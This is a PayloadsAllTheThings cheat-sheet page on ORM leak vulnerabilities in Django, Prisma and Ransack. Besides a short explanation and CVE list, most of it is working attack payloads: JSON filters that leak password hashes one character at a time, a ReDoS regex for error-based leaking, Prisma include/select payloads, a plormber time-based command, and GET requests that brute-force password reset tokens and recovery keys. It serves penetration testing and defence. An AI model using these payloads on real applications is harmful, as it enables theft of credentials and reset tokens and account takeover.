PayloadsAllTheThings/ORM Leak

ORM Leak

An ORM leak vulnerability occurs when sensitive information, such as database structure or user data, is unintentionally exposed due to improper handling of ORM queries. This can happen if the application returns raw error messages, debug information, or allows attackers to manipulate queries in ways that reveal underlying data.

CVE

• CVE-2023-47117: Label Studio ORM Leak
• CVE-2023-31133: Ghost CMS ORM Leak
• CVE-2023-30843: Payload CMS ORM Leak

Django (Python)

The following code is a basic example of an ORM querying the database.

users = User.objects.filter(**request.data)
serializer = UserSerializer(users, many=True)

The problem lies in how the Django ORM uses keyword parameter syntax to build QuerySets. By utilizing the unpack operator (**), users can dynamically control the keyword arguments passed to the filter method, allowing them to filter results according to their needs.

Query filter

The attacker can control the column to filter results by. The ORM provides operators for matching parts of a value. These operators can utilize the SQL LIKE condition in generated queries, perform regex matching based on user-controlled patterns, or apply comparison operators such as < and >.

{
    "username": "admin",
    "password__startswith": "p"
}

Interesting filter to use:

• __startswith
• __contains
• __regex

Relational Filtering

Let's use this great example from PLORMBING YOUR DJANGO ORM, by Alex Brown

We can see 2 type of relationships:

• One-to-One relationships
• Many-to-Many Relationships

One-to-One

Filtering through user that created an article, and having a password containing the character p.

{
    "created_by__user__password__contains": "p"
}

Many-to-Many

Almost the same thing but you need to filter more.

• Get the user IDS: created_by__departments__employees__user__id
• For each ID, get the username: created_by__departments__employees__user__username
• Finally, leak their password hash: created_by__departments__employees__user__password

Use multiple filters in the same request:

{
    "created_by__departments__employees__user__username__startswith": "p",
    "created_by__departments__employees__user__id": 1
}

Error-based leaking - ReDOS

If Django use MySQL, you can also abuse a ReDOS to force an error when the filter does not properly match the condition.

{"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"}
// => Return something

{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}  
// => Error 500 (Timeout exceeded in regular expression match)

Prisma (Node.JS)

Tools:

• elttam/plormber - tool for exploiting ORM Leak time-based vulnerabilities

  plormber prisma-contains \
      --chars '0123456789abcdef' \
      --base-query-json '{"query": {PAYLOAD}}' \
      --leak-query-json '{"createdBy": {"resetToken": {"startsWith": "{ORM_LEAK}"}}}' \
      --contains-payload-json '{"body": {"contains": "{RANDOM_STRING}"}}' \
      --verbose-stats \
      https://some.vuln.app/articles/time-based;
  

Example:

Example of an ORM leak in Node.JS with Prisma.

const posts = await prisma.article.findMany({
    where: req.query.filter as any // Vulnerable to ORM Leaks
})

Use the include to return all the fields of user records that have created an article

{
    "filter": {
        "include": {
            "createdBy": true
        }
    }
}

Select only one field

{
    "filter": {
        "select": {
            "createdBy": {
                "select": {
                    "password": true
                }
            }
        }
    }
}

Relational Filtering

One-to-One

• filter[createdBy][resetToken][startsWith]=06

Many-to-Many

{
    "query": {
        "createdBy": {
            "departments": {
                "some": {
                    "employees": {
                        "some": {
                            "departments": {
                                "some": {
                                    "employees": {
                                        "some": {
                                            "departments": {
                                                "some": {
                                                    "employees": {
                                                        "some": {
                                                            "{fieldToLeak}": {
                                                                "startsWith": "{testStartsWith}"
                                                            }
                                                        }
                                                    }
                                                }
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    }
}

Ransack (Ruby)

Only in Ransack < 4.0.0.

• Extracting the reset_password_token field of a user

  GET /posts?q[user_reset_password_token_start]=0 -> Empty results page
  GET /posts?q[user_reset_password_token_start]=1 -> Empty results page
  GET /posts?q[user_reset_password_token_start]=2 -> Results in page
  
  GET /posts?q[user_reset_password_token_start]=2c -> Empty results page
  GET /posts?q[user_reset_password_token_start]=2f -> Results in page
  

• Target a specific user and extract his recoveries_key

  GET /labs?q[creator_roles_name_cont]=​superadmin​​&q[creator_recoveries_key_start]=0
  

Resources

• PLORMBING YOUR DJANGO ORM - Alex Brown - June 24, 2024
• PLORMBING YOUR PRISMA ORM WITH TIME-BASED ATTACKS - Alex Brown - July 09, 2024
• QuerySet API reference - Django
• Ransacking your password reset tokens - LUKAS EULER - JANUARY 26, 2023
• ORM Injection - HackTricks
• ORM Leak Exploitation Against SQLite - Louis Nyffenegger - PentesterLab